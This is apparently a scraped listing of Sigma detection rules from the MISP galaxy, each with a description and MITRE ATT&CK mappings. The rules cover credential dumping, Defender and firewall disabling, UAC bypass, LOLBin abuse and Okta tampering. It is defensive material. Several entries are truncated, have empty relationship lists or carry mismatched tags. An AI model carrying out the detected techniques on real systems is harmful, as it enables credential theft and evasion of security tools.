Dumping of Sensitive Hives Via Reg.EXE

Detects the usage of "reg.exe" in order to dump sensitive registry hives, which includes SAM, SYSTEM and SECURITY

The tag is: misp-galaxy:sigma-rules="Dumping of Sensitive Hives Via Reg.EXE"

View relationships graph

Dumping of Sensitive Hives Via Reg.EXE has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="LSA Secrets - T1003.004" with estimative-language:likelihood-probability="almost-certain"
Remote Access Tool - AnyDesk Execution

An adversary may use legitimate desktop support and remote access software, such as Team Viewer, Go2Assist, LogMein, AmmyyAdmin, etc, to establish an interactive command and control channel to target systems within networks. These services are commonly used as legitimate technical support software, and may be allowed by application control within a target environment. Remote access tools like VNC, Ammyy, and Teamviewer are used frequently when compared with other legitimate software commonly used by adversaries. (Citation: Symantec Living off the Land)

Suspicious Network Command has relationships with:

PUA - Potential PE Metadata Tamper Using Rcedit

Detected the use of rcedit to potentially alter executable PE metadata properties, which could conceal efforts to rename system utilities for defense evasion.

The tag is: `misp-galaxy:sigma-rules="PUA - Potential PE Metadata Tamper Using Rcedit"`

PUA - Potential PE Metadata Tamper Using Rcedit has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="Rename System Utilities - T1036.003"` with estimative-language:likelihood-probability="almost-certain"
- related-to: `misp-galaxy:mitre-attack-pattern="Masquerading - T1036"` with estimative-language:likelihood-probability="almost-certain"
- related-to: `misp-galaxy:mitre-attack-pattern="Indicator Removal from Tools - T1027.005"` with estimative-language:likelihood-probability="almost-certain"
- related-to: `misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027"` with estimative-language:likelihood-probability="almost-certain"

Powershell Defender Disable Scan Feature

Detected requests to disable Microsoft Defender features using PowerShell commands

The tag is: `misp-galaxy:sigma-rules="Powershell Defender Disable Scan Feature"`
Powershell Defender Disable Scan Feature has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Disable or Modify Tools - T1562.001" with estimative-language:likelihood-probability="almost-certain"

**Suspicious Recursive Takeown**

Adversaries can interact with the DACLs using built-in Windows commands takeown which can grant adversaries higher permissions on specific files and folders

The tag is: *misp-galaxy:sigma-rules=*"Suspicious Recursive Takeown"

View relationships graph

Suspicious Recursive Takeown has relationships with:

- related-to: *misp-galaxy:mitre-attack-pattern=*"Windows File and Directory Permissions Modification - T1222.001" with estimative-language:likelihood-probability="almost-certain"
**Windows Defender Definition Files Removed**

Adversaries may disable security tools to avoid possible detection of their tools and activities by removing Windows Defender Definition Files.

The tag is: `misp-galaxy:sigma-rules="Windows Defender Definition Files Removed"`

View relationships graph

Windows Defender Definition Files Removed has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="Disable or Modify Tools - T1562.001"` with estimative-language:likelihood-probability="almost-certain"

**Execution via WorkFolders.exe**

Detects using WorkFolders.exe to execute an arbitrary control.exe.

The tag is: `misp-galaxy:sigma-rules="Execution via WorkFolders.exe"`

View relationships graph

Execution via WorkFolders.exe has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="System Binary Proxy Execution - T1218"` with estimative-language:likelihood-probability="almost-certain"
Suspicious Command Patterns In Scheduled Task Creation

Detects scheduled task creation using "schtasks" that contain potentially suspicious or uncommon commands

The tag is: misp-galaxy:sigma-rules="Suspicious Command Patterns In Scheduled Task Creation"

View relationships graph

Potential Credential Dumping Via WER

Detects potential credential dumping via Windows Error Reporting LSASS Shtinkering technique which uses the Windows Error Reporting to dump lsass

The tag is: misp-galaxy:sigma-rules="Potential Credential Dumping Via WER"

View relationships graph
PUA- IOX Tunneling Tool Execution

Detects the use of IOX - a tool for port forwarding and intranet proxy purposes

The tag is: *misp-galaxy:sigma-rules="PUA- IOX Tunneling Tool Execution"*

View relationships graph

PUA- IOX Tunneling Tool Execution has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Proxy - T1090" with estimative-language:likelihood-probability="almost-certain"

**Potential Regsvr32 Commandline Flag Anomaly**

Detects a potential command line flag anomaly related to "regsvr32" in which the "/i" flag is used without the "/n" which should be uncommon.

The tag is: `misp-galaxy:sigma-rules="Potential Regsvr32 Commandline Flag Anomaly"`

View relationships graph
Potential Regsvr32 Commandline Flag Anomaly has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Regsvr32 - T1218.010" with estimative-language:likelihood-probability="almost-certain"

Findstr GPP Passwords

Look for the encrypted cpassword value within Group Policy Preference files on the Domain Controller. This value can be decrypted with gpp-decrypt.

The tag is: misp-galaxy:sigma-rules="Findstr GPP Passwords"

Findstr GPP Passwords has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Group Policy Preferences - T1552.006" with estimative-language:likelihood-probability="almost-certain"

Table 9884. Table References

Finger.exe Suspicious Invocation

Detects suspicious aged finger.exe tool execution often used in malware attacks nowadays

The tag is: misp-galaxy:sigma-rules="Finger.exe Suspicious Invocation"

Finger.exe Suspicious Invocation has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"

Table 9885. Table References
**Suspicious Rundll32 Activity Invoking Sys File**

Detects suspicious process related to rundll32 based on command line that includes a *.sys file as seen being used by UNC2452

The tag is: `misp-galaxy:sigma-rules="Suspicious Rundll32 Activity Invoking Sys File"`

View relationships graph

Suspicious Rundll32 Activity Invoking Sys File has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="Rundll32 - T1218.011"` with estimative-language:likelihood-probability="almost-certain"

**HackTool - UACMe Akagi Execution**

Detects the execution of UACMe, a tool used for UAC bypasses, via default PE metadata

The tag is: `misp-galaxy:sigma-rules="HackTool - UACMe Akagi Execution"`

View relationships graph

HackTool - UACMe Akagi Execution has relationships with:

Potential Arbitrary Command Execution Using Msdt.EXE

Detects processes leveraging the "ms-msdt" handler or the "msdt.exe" binary to execute arbitrary commands as seen in the follina (CVE-2022-30190) vulnerability

The tag is: misp-galaxy:sigma-rules="Potential Arbitrary Command Execution Using Msdt.EXE"

View relationships graph

Potential Arbitrary Command Execution Using Msdt.EXE has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Indirect Command Execution - T1202" with estimative-language:likelihood-probability="almost-certain"

Sysmon Driver Unloaded Via Fltmc.EXE

Detects possible Sysmon filter driver unloaded via fltmc.exe

The tag is: misp-galaxy:sigma-rules="Sysmon Driver Unloaded Via Fltmc.EXE"

View relationships graph

Sysmon Driver Unloaded Via Fltmc.EXE has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Indicator Removal - T1070" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Impair Defenses - T1562" with estimative-language:likelihood-probability="almost-certain"

**HackTool - winPEAS Execution**

WinPEAS is a script that search for possible paths to escalate privileges on Windows hosts. The checks are explained on book.hacktricks.xyz

The tag is: `misp-galaxy:sigma-rules="HackTool - winPEAS Execution"`

View relationships graph

HackTool - winPEAS Execution has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with
Root Certificate Installed From Susp Locations

Adversaries may install a root certificate on a compromised system to avoid warnings when connecting to adversary controlled web servers.

The tag is: `misp-galaxy:sigma-rules="Root Certificate Installed From Susp Locations"`

View relationships graph

Root Certificate Installed From Susp Locations has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="Install Root Certificate - T1553.004"` with estimative-language:likelihood-probability="almost-certain"

Tasks Folder Evasion

The Tasks folder in system32 and syswow64 are globally writable paths. Adversaries can take advantage of this and load or influence any script hosts or ANY .NET Application in Tasks to load and execute a custom assembly into cscript, wscript, regsvr32, mshta, eventvwr

The tag is: `misp-galaxy:sigma-rules="Tasks Folder Evasion"`

View relationships graph
Tasks Folder Evasion has relationships with:

**Suspicious Ping/Copy Command Combination**

Detects uncommon one-liner command having ping and copy at the same time, which is usually used by malware.

The tag is: misp-galaxy:.sigma-rules="Suspicious Ping/Copy Command Combination"

View relationships graph

Suspicious Ping/Copy Command Combination has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="File Deletion - T1070.004" with estimative-language:likelihood-probability="almost-certain"

**Suspicious Modification Of Scheduled Tasks**

Detects when an attacker tries to modify an already existing scheduled tasks to run from a suspicious location. Attackers can create a simple looking task in order to avoid detection on creation as it’s often the most focused on. Instead they modify the task after creation to include their malicious payload.

The tag is: misp-galaxy:sigma-rules="Suspicious Modification Of Scheduled Tasks"

View relationships graph

Suspicious Modification Of Scheduled Tasks has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Scheduled Task - T1053.005" with estimative-language:likelihood-probability="almost-certain"
HackTool - PPID Spoofing SelectMyParent Tool Execution

Detects the use of parent process ID spoofing tools like Didier Stevens tool SelectMyParent

The tag is: *misp-galaxy: sigma-rules="HackTool - PPID Spoofing SelectMyParent Tool Execution"

View relationships graph

Firewall Disabled via Netsh.EXE

Detects netsh commands that turns off the Windows firewall

The tag is: *misp-galaxy: sigma-rules="Firewall Disabled via Netsh.EXE"

View relationships graph
Uncommon Child Process Of BgInfo.EXE

Detects uncommon child processes of "BgInfo.exe" which could be a sign of potential abuse of the binary to proxy execution via external VBScript.

The tag is: `misp-galaxy:sigma-rules="Uncommon Child Process Of BgInfo.EXE"`

View relationships graph

Uncommon Child Process Of BgInfo.EXE has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="Visual Basic - T1059.005"` with estimative-language:likelihood-probability="almost-certain"
- related-to: `misp-galaxy:mitre-attack-pattern="System Binary Proxy Execution - T1218"` with estimative-language:likelihood-probability="almost-certain"
- related-to: `misp-galaxy:mitre-attack-pattern="Indirect Command Execution - T1202"` with estimative-language:likelihood-probability="almost-certain"

Custom Class Execution via Xwizard

Detects the execution of Xwizard tool with specific arguments which utilized to run custom class properties.

The tag is: `misp-galaxy:sigma-rules="Custom Class Execution via Xwizard"`

View relationships graph
Custom Class Execution via Xwizard has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="System Binary Proxy Execution - T1218" with estimative-language:likelihood-probability="almost-certain"

Table 9907. Table References

</tr>
</tbody>
</table>

Directory Removal Via Rmdir

Detects execution of the builtin "rmdir" command in order to delete directories. Adversaries may delete files left behind by the actions of their intrusion activity. Malware, tools, or other non-native files dropped or created on a system by an adversary may leave traces to indicate to what was done within a network and how. Removal of these files can occur during an intrusion, or as part of a post-intrusion process to minimize the adversary's footprint.

The tag is: misp-galaxy:sigma-rules="Directory Removal Via Rmdir"

View relationships graph
Directory Removal Via Rmdir has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="File Deletion - T1070.004" with estimative-language:likelihood-probability="almost-certain"

Potential COM Objects Download Cradles Usage - Process Creation

Detects usage of COM objects that can be abused to download files in PowerShell by CLSID

The tag is: misp-galaxy:sigma-rules="Potential COM Objects Download Cradles Usage - Process Creation"

View relationships graph

Potential COM Objects Download Cradles Usage - Process Creation has relationships with:
Add Windows Capability Via PowerShell Cmdlet

Detects usage of the "Add-WindowsCapability" cmdlet to add Windows capabilities. Notable capabilities could be "OpenSSH" and others.

The tag is: misp-galaxy:sigma-rules="Add Windows Capability Via PowerShell Cmdlet"

Scripting/CommandLine Process Spawned Regsvr32

Detects various command line and scripting engines/processes such as "PowerShell", "Wscript", "Cmd", etc. spawning a "regsvr32" instance.

The tag is: misp-galaxy:sigma-rules="Scripting/CommandLine Process Spawned Regsvr32"

View relationships graph

Scripting/CommandLine Process Spawned Regsvr32 has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Regsvr32 - T1218.010" with estimative-language:likelihood-probability="almost-certain"
**DLL Execution Via Register-cimprovider.exe**

Detects using register-cimprovider.exe to execute arbitrary dll file.

The tag is: *misp-galaxy: sigma-rules*="DLL Execution Via Register-cimprovider.exe"

View relationships graph

DLL Execution Via Register-cimprovider.exe has relationships with:

- related-to: misp-galaxy: mitre-attack-pattern="Hijack Execution Flow - T1574" with estimative-language: likelihood-probability="almost-certain"

File Deletion Via Del

Detects execution of the builtin "del"/"erase" commands in order to delete files. Adversaries may delete files left behind by the actions of their intrusion activity. Malware, tools, or other non-native files dropped or created on a system by an adversary may leave traces to indicate to what was done within a network and how. Removal of these files can occur during an intrusion, or as part of a post-intrusion process to minimize the adversary's footprint.

The tag is: *misp-galaxy: sigma-rules="File Deletion Via Del"*

View relationships graph

File Deletion Via Del has relationships with:

- related-to: *misp-galaxy:mitre-attack-pattern="File Deletion - T1070.004" with estimative-language:likelihood-probability="almost-certain"

**UAC Bypass Using ChangePK and SLUI**

Detects an UAC bypass that uses changepk.exe and slui.exe (UACMe 61)

The tag is: `misp-galaxy:sigma-rules="UAC Bypass Using ChangePK and SLUI"`

View relationships graph

UAC Bypass Using ChangePK and SLUI has relationships with:

**Change Default File Association Via Assoc**

Detects file association changes using the builtin "assoc" command. When a file is opened, the default program used to open the file (also called the file association or handler) is checked. File association selections are stored in the Windows Registry and can be edited by users, administrators, or programs that have Registry access or by administrators using the built-in assoc utility. Applications can modify the file association for a given file extension to call an arbitrary program when a file with the given extension is opened.

The tag is: `misp-galaxy:sigma-rules="Change Default File Association Via Assoc"`

View relationships graph

Change Default File Association Via Assoc has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="Change Default File Association - T1546.001"` with estimative-language:likelihood-probability="almost-certain"

https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_reg Enumeration for credentials in registry.yml

Suspicious VBoxDrvInst.exe Parameters

Detect VBoxDrvInst.exe run with parameters allowing processing INF file. This allows to create values in the registry and install drivers. For example one could use this technique to obtain persistence via modifying one of Run or RunOnce registry keys.

The tag is: misp-galaxy: sigma-rules="Suspicious VBoxDrvInst.exe Parameters"

View relationships graph

Suspicious VBoxDrvInst.exe Parameters has relationships with:

- related-to: misp-galaxy: mitre-attack-pattern="Modify Registry - T1112" with estimative-language: likelihood-probability="almost-certain"
Base64 MZ Header In CommandLine

Detects encoded base64 MZ header in the commandline

The tag is: `misp-galaxy:sigma-rules="Base64 MZ Header In CommandLine"`

Suspicious File Download From IP Via Wget.EXE

Detects potentially suspicious file downloads directly from IP addresses using Wget.exe

The tag is: `misp-galaxy:sigma-rules="Suspicious File Download From IP Via Wget.EXE"`

Scheduled Task Creation

Detects the creation of scheduled tasks in user session

The tag is: `misp-galaxy:sigma-rules="Scheduled Task Creation"`

View relationships graph

Scheduled Task Creation has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Scheduled Task - T1053.005" with estimative-
**Suspicious Serv-U Process Pattern**

Detects a suspicious process pattern which could be a sign of an exploited Serv-U service

The tag is: *misp-galaxy:sigma-rules=*"Suspicious Serv-U Process Pattern"

View relationships graph

Suspicious Serv-U Process Pattern has relationships with:

- related-to: *misp-galaxy:mitre-attack-pattern=*"Credentials from Password Stores - T1555" with 
estimative-language:likelihood-probability="almost-certain"

---

**Suspicious Where Execution**

Adversaries may enumerate browser bookmarks to learn more about compromised hosts. Browser bookmarks may reveal personal information about users (ex: banking sites, interests, social media, etc.) as well as details about internal network resources such as servers, tools/dashboards, or other related infrastructure.

The tag is: *misp-galaxy:sigma-rules=*"Suspicious Where Execution"

**XSL Script Execution Via WMIC.EXE**

Detects the execution of WMIC with the “format” flag to potentially load XSL files. Adversaries abuse this functionality to execute arbitrary files while potentially bypassing application whitelisting defenses. Extensible Stylesheet Language (XSL) files are commonly used to describe the processing and rendering of data within XML files.

The tag is: *misp-galaxy:sigma-rules="XSL Script Execution Via WMIC.EXE"*

View relationships graph

XSL Script Execution Via WMIC.EXE has relationships with:

• related-to: misp-galaxy:mitre-attack-pattern="XSL Script Processing - T1220" with estimative-language:likelihood-probability="almost-certain"
Suspicous Regsvr32 Execution From Remote Share

Detects REGSVR32.exe to execute DLL hosted on remote shares

The tag is: misp-galaxy:sigma-rules="Suspicous Regsvr32 Execution From Remote Share"

View relationships graph

Suspicous Regsvr32 Execution From Remote Share has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Regsvr32 - T1218.010" with estimative-language:likelihood-probability="almost-certain"

Table 10085. Table References

Abuse of Service Permissions to Hide Services Via Set-Service

Detects usage of the "Set-Service" powershell cmdlet to configure a new SecurityDescriptor that allows a service to be hidden from other utilities such as "sc.exe", "Get-Service"...etc. (Works only in powershell 7)

The tag is: misp-galaxy:sigma-rules="Abuse of Service Permissions to Hide Services Via Set-Service"

View relationships graph

Abuse of Service Permissions to Hide Services Via Set-Service has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Services Registry Permissions Weakness - T1574.011" with estimative-language:likelihood-probability="almost-certain"

Table 10086. Table References

SafeBoot Registry Key Deleted Via Reg.EXE

Detects execution of "reg.exe" commands with the "delete" flag on safe boot registry keys. Often used by attacker to prevent safeboot execution of security products

The tag is: `misp-galaxy:sigma-rules="SafeBoot Registry Key Deleted Via Reg.EXE"`

View relationships graph

SafeBoot Registry Key Deleted Via Reg.EXE has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="Disable or Modify Tools - T1562.001"` with estimative-language:likelihood-probability="almost-certain"

Table 10133. Table References
**Renamed AutoIt Execution**

Detects the execution of a renamed AutoIt2.exe or AutoIt3.exe. AutoIt is a scripting language and automation tool for Windows systems. While primarily used for legitimate automation tasks, it can be misused in cyber attacks. Attackers can leverage AutoIt to create and distribute malware, including keyloggers, spyware, and botnets. A renamed AutoIt executable is particularly suspicious.

The tag is: *misp-galaxy:sigma-rules=* "Renamed AutoIt Execution"

**View relationships graph**

Renamed AutoIt Execution has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"

---

**Service Security Descriptor Tampering Via Sc.EXE**

Detection of sc.exe utility adding a new service with special permission which hides that service.

The tag is: *misp-galaxy:sigma-rules=* "Service Security Descriptor Tampering Via Sc.EXE"

**View relationships graph**

Service Security Descriptor Tampering Via Sc.EXE has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Services Registry Permissions Weakness - T1574.011" with estimative-language:likelihood-probability="almost-certain"
PktMon.EXE Execution

Detects execution of PktMon, a tool that captures network packets.

The tag is: *misp-galaxy: sigma-rules="PktMon.EXE Execution"

View relationships graph

PktMon.EXE Execution has relationships with:

- related-to: misp-galaxy: mitre-attack-pattern="Network Sniffing - T1040" with estimative-language:likelihood-probability="almost-certain"

Msxsl.EXE Execution

Detects the execution of the MSXSL utility. This can be used to execute Extensible Stylesheet Language (XSL) files. These files are commonly used to describe the processing and rendering of data within XML files. Adversaries can abuse this functionality to execute arbitrary files while potentially bypassing application whitelisting defenses.

The tag is: *misp-galaxy: sigma-rules="Msxsl.EXE Execution"

View relationships graph

Msxsl.EXE Execution has relationships with:

- related-to: misp-galaxy: mitre-attack-pattern="XSL Script Processing - T1220" with estimative-language:likelihood-probability="almost-certain"
PrintBrm ZIP Creation of Extraction

Detects the execution of the LOLBIN PrintBrm.exe, which can be used to create or extract ZIP files. PrintBrm.exe should not be run on a normal workstation.

The tag is: *misp-galaxy:sigma-rules*="PrintBrm ZIP Creation of Extraction"

View relationships graph

PrintBrm ZIP Creation of Extraction has relationships with:

- related-to: *misp-galaxy:mitre-attack-pattern*="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"

Service Reconnaissance Via Wmic.EXE

An adversary might use WMI to check if a certain remote service is running on a remote device. When the test completes, a service information will be displayed on the screen if it exists. A common feedback message is that "No instance(s) Available" if the service queried is not running. A common error message is "Node - (provided IP or default) ERROR Description =The RPC server is unavailable" if the provided remote host is unreachable.

The tag is: misp-galaxy:sigma-rules="Service Reconnaissance Via Wmic.EXE"

Sysmon Configuration Update

Detects updates to Sysmon's configuration. Attackers might update or replace the Sysmon configuration with a bare bone one to avoid monitoring without shutting down the service completely.

The tag is: misp-galaxy:sigma-rules="Sysmon Configuration Update"
Script Interpreter Execution From Suspicious Folder

Detects a suspicious script execution in temporary folders or folders accessible by environment variables.

The tag is: `misp-galaxy:sigma-rules="Script Interpreter Execution From Suspicious Folder"`

View relationships graph

Script Interpreter Execution From Suspicious Folder has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="Command and Scripting Interpreter - T1059"` with estimative-language:likelihood-probability="almost-certain"

HackTool - SysmonEOP Execution

Detects the execution of the PoC that can be used to exploit Sysmon CVE-2022-41120

The tag is: misp-galaxy:sigma-rules="HackTool - SysmonEOP Execution"

View relationships graph

HackTool - SysmonEOP Execution has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Exploitation for Privilege Escalation - T1068" with estimative-language:likelihood-probability="almost-certain"
**HackTool - SharpLdapWhoami Execution**

Detects SharpLdapWhoami, a whoami alternative that queries the LDAP service on a domain controller

The tag is: `misp-galaxy:sigma-rules="HackTool - SharpLdapWhoami Execution"`

View relationships graph

HackTool - SharpLdapWhoami Execution has relationships with:

**Suspicious PowerShell Mailbox Export to Share**

Detects usage of the powerShell New-MailboxExportRequest Cmdlet to exports a mailbox to a remote or local share, as used in ProxyShell exploitations

The tag is: `misp-galaxy:sigma-rules="Suspicious PowerShell Mailbox Export to Share"`
**Imports Registry Key From a File**

Detects the import of the specified file to the registry with regedit.exe.

The tag is: *misp-galaxy:sigma-rules*="Imports Registry Key From a File"

View relationships graph

Imports Registry Key From a File has relationships with:

- related-to: *misp-galaxy:mitre-attack-pattern*="Modify Registry - T1112" with estimative-language:likelihood-probability="almost-certain"

**Potential AMSI Bypass Using NULL Bits**

Detects usage of special strings/null bits in order to potentially bypass AMSI functionalities

The tag is: *misp-galaxy:sigma-rules*="Potential AMSI Bypass Using NULL Bits"

View relationships graph

Potential AMSI Bypass Using NULL Bits has relationships with:

- related-to: *misp-galaxy:mitre-attack-pattern*="Disable or Modify Tools - T1562.001" with estimative-language:likelihood-probability="almost-certain"

**Suspicious Scheduled Task Creation Involving Temp Folder**

Detects the creation of scheduled tasks that involves a temporary folder and runs only once
The tag is: `misp-galaxy:sigma-rules="Suspicious Scheduled Task Creation Involving Temp Folder"`

**View relationships graph**

Suspicious Scheduled Task Creation Involving Temp Folder has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="Scheduled Task - T1053.005"` with estimative-language:likelihood-probability="almost-certain"

**Audio Capture via SoundRecorder**

Detects attacker collecting audio via SoundRecorder application.
Remote Access Tool - NetSupport Execution

An adversary may use legitimate desktop support and remote access software, such as Team Viewer, Go2Assist, LogMeIn, AmmyyAdmin, etc, to establish an interactive command and control channel to target systems within networks. These services are commonly used as legitimate technical support software, and may be allowed by application control within a target environment. Remote access tools like VNC, Ammyy, and Teamviewer are used frequently when compared with other legitimate software commonly used by adversaries. (Citation: Symantec Living off the Land)

The tag is: misp-galaxy:mitre-attack-pattern="Remote Access Tool - NetSupport Execution"

Read Contents From Stdin Via Cmd.EXE

Detect the use of "<" to read and potentially execute a file via cmd.exe

The tag is: *misp-galaxy:sigma-rules="Read Contents From Stdin Via Cmd.EXE"*

View relationships graph

Read Contents From Stdin Via Cmd.EXE has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Windows Command Shell - T1059.003" with
Remote Access Tool - ScreenConnect Backstage Mode Anomaly

Detects suspicious sub processes started by the ScreenConnect client service, which indicates the use of the so-called Backstage mode

The tag is: `misp-galaxy: sigma-rules="Remote Access Tool - ScreenConnect Backstage Mode Anomaly"`

View relationships graph

Remote Access Tool - ScreenConnect Backstage Mode Anomaly has relationships with:

Renamed Whoami Execution

Detects the execution of whoami that has been renamed to a different name to avoid detection

The tag is: `misp-galaxy: sigma-rules="Renamed Whoami Execution"`

View relationships graph

Renamed Whoami Execution has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="System Owner/User Discovery - T1033"` with
Visual Studio Code Tunnel Shell Execution

Detects the execution of a shell (powershell, bash, wsl...) via Visual Studio Code tunnel. Attackers can abuse this functionality to establish a C2 channel and execute arbitrary commands on the system.

The tag is: `misp-galaxy:sigma-rules="Visual Studio Code Tunnel Shell Execution"`

View relationships graph

Visual Studio Code Tunnel Shell Execution has relationships with:

Rebuild Performance Counter Values Via Lodctr.EXE

Detects the execution of "lodctr.exe" to rebuild the performance counter registry values. This can be abused by attackers by providing a malicious config file to overwrite performance counter configuration to confuse and evade monitoring and security solutions.

The tag is: `misp-galaxy:sigma-rules="Rebuild Performance Counter Values Via Lodctr.EXE"`
Network Reconnaissance Activity

Detects a set of suspicious network related commands often used in recon stages

The tag is: misp-galaxy:sigma-rules="Network Reconnaissance Activity"

View relationships graph

Network Reconnaissance Activity has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Account Discovery - T1087" with estimative-language:likelihood-probability="almost-certain"

Fake Instance Of HxTsr.exe

HxTsr.exe is a Microsoft compressed executable file called Microsoft Outlook Communications. HxTsr.exe is part of Outlook apps, because it resides in a hidden "WindowsApps" subfolder of "C:\Program Files". Its path includes a version number, e.g., "C:\Program Files\WindowsApps\microsoft.windowscommunicationsapps_17.7466.41167.0_x64__8wekyb3d8bbwe\HxTsr.exe". Any instances of hxtsr.exe not in this folder may be malware camouflaging itself as HxTsr.exe

The tag is: misp-galaxy:sigma-rules="Fake Instance Of HxTsr.exe"

**Change Default File Association To Executable Via Assoc**

Detects when a program changes the default file association of any extension to an executable. When a file is opened, the default program used to open the file (also called the file association or
handler) is checked. File association selections are stored in the Windows Registry and can be edited by users, administrators, or programs that have Registry access or by administrators using the built-in assoc utility. Applications can modify the file association for a given file extension to call an arbitrary program when a file with the given extension is opened.

The tag is: misp-galaxy: sigma-rules="Change Default File Association To Executable Via Assoc"

View relationships graph

Change Default File Association To Executable Via Assoc has relationships with:

- related-to: misp-galaxy: mitre-attack-pattern="Change Default File Association - T1546.001" with estimative-language:likelihood-probability="almost-certain"

Suspicious Shim Database Installation via Sdbinst.EXE

Detects installation of a potentially suspicious new shim with an uncommon extension using sdbinst.exe. Adversaries may establish persistence and/or elevate privileges by executing malicious content triggered by application shims

The tag is: `misp-galaxy: sigma-rules='Suspicious Shim Database Installation via Sdbinst.EXE'`

View relationships graph

Suspicious Shim Database Installation via Sdbinst.EXE has relationships with:
Lolbin Unregmp2.exe Use As Proxy

Detect usage of the "unregmp2.exe" binary as a proxy to launch a custom version of "wmpnscfg.exe"

The tag is: `misp-galaxy:sigma-rules="Lolbin Unregmp2.exe Use As Proxy"

View relationships graph

Lolbin Unregmp2.exe Use As Proxy has relationships with:

• related-to: misp-galaxy:mitre-attack-pattern="System Binary Proxy Execution - T1218" with estimative-language:likelihood-probability="almost-certain"

Suspicious Process Patterns NTDS.DIT Exfil

Detects suspicious process patterns used in NTDS.DIT exfiltration

The tag is: `misp-galaxy:sigma-rules="Suspicious Process Patterns NTDS.DIT Exfil"

View relationships graph

Suspicious Process Patterns NTDS.DIT Exfil has relationships with:

• related-to: misp-galaxy:mitre-attack-pattern="NTDS - T1003.003" with estimative-language:likelihood-probability="almost-certain"
CMD Shell Output Redirect

Detects the use of the redirection character ">" to redirect information in commandline.

The tag is: *misp-galaxy:sigma-rules="CMD Shell Output Redirect"*

View relationships graph

CMD Shell Output Redirect has relationships with:

- related-to: *misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082"* with estimative-language:likelihood-probability="almost-certain"

**Table 10403. Table References**

Remote Access Tool - LogMeIn Execution

An adversary may use legitimate desktop support and remote access software, such as Team Viewer, Go2Assist, LogMein, AmmyyAdmin, etc, to establish an interactive command and control channel to target systems within networks. These services are commonly used as legitimate technical support software, and may be allowed by application control within a target environment. Remote access tools like VNC, Ammyy, and Teamviewer are used frequently when
compared with other legitimate software commonly used by adversaries. (Citation: Symantec Living off the Land)

The tag is: `misp-galaxy:sigma-rules="Remote Access Tool - LogMeIn Execution"`

HackTool - PowerTool Execution

Detects the execution of the tool PowerTool which has the ability to kill a process, delete its process file, unload drivers, and delete the driver files

The tag is: *misp-galaxy:sigma-rules=“HackTool - PowerTool Execution”*

View relationships graph

HackTool - PowerTool Execution has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Disable or Modify Tools - T1562.001" with estimative-language:likelihood-probability="almost-certain"

---

Suspicious Control Panel DLL Load

Detects suspicious Rundll32 execution from control.exe as used by Equation Group and Exploit Kits

The tag is: *misp-galaxy:sigma-rules=“Suspicious Control Panel DLL Load”*

View relationships graph

Suspicious Control Panel DLL Load has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Rundll32 - T1218.011" with estimative-language:likelihood-probability="almost-certain"

---

Potential Okta Password in AlternateID Field

Detects when a user has potentially entered their password into the username field, which will cause the password to be retained in log files.

The tag is: misp-galaxy:sigma-rules="Potential Okta Password in AlternateID Field"

View relationships graph

Potential Okta Password in AlternateID Field has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Unsecured Credentials - T1552" with estimative-language:likelihood-probability="almost-certain"
### Okta Admin Functions Access Through Proxy

Detects access to Okta admin functions through proxy.

The tag is: *misp-galaxy:sigma-rules=*“Okta Admin Functions Access Through Proxy”*

### Okta Network Zone Deactivated or Deleted

Detects when an Network Zone is Deactivated or Deleted.

The tag is: *misp-galaxy:sigma-rules=*“Okta Network Zone Deactivated or Deleted”*

### Okta API Token Created

Detects when a API token is created

The tag is: *misp-galaxy:sigma-rules=*“Okta API Token Created”*
Okta MFA Reset or Deactivated

Detects when an attempt at deactivating or resetting MFA.

The tag is: `misp-galaxy:sigma-rules="Okta MFA Reset or Deactivated"`

View relationships graph

Okta MFA Reset or Deactivated has relationships with:

Okta Policy Modified or Deleted

Detects when an Okta policy is modified or deleted.

The tag is: `misp-galaxy:sigma-rules="Okta Policy Modified or Deleted"`
Okta User Session Start Via An Anonymising Proxy Service

Detects when an Okta user session starts where the user is behind an anonymising proxy service.

The tag is: misp-galaxy:sigma-rules="Okta User Session Start Via An Anonymising Proxy Service"

View relationships graph

Okta User Session Start Via An Anonymising Proxy Service has relationships with:

Suspicious Inbox Forwarding

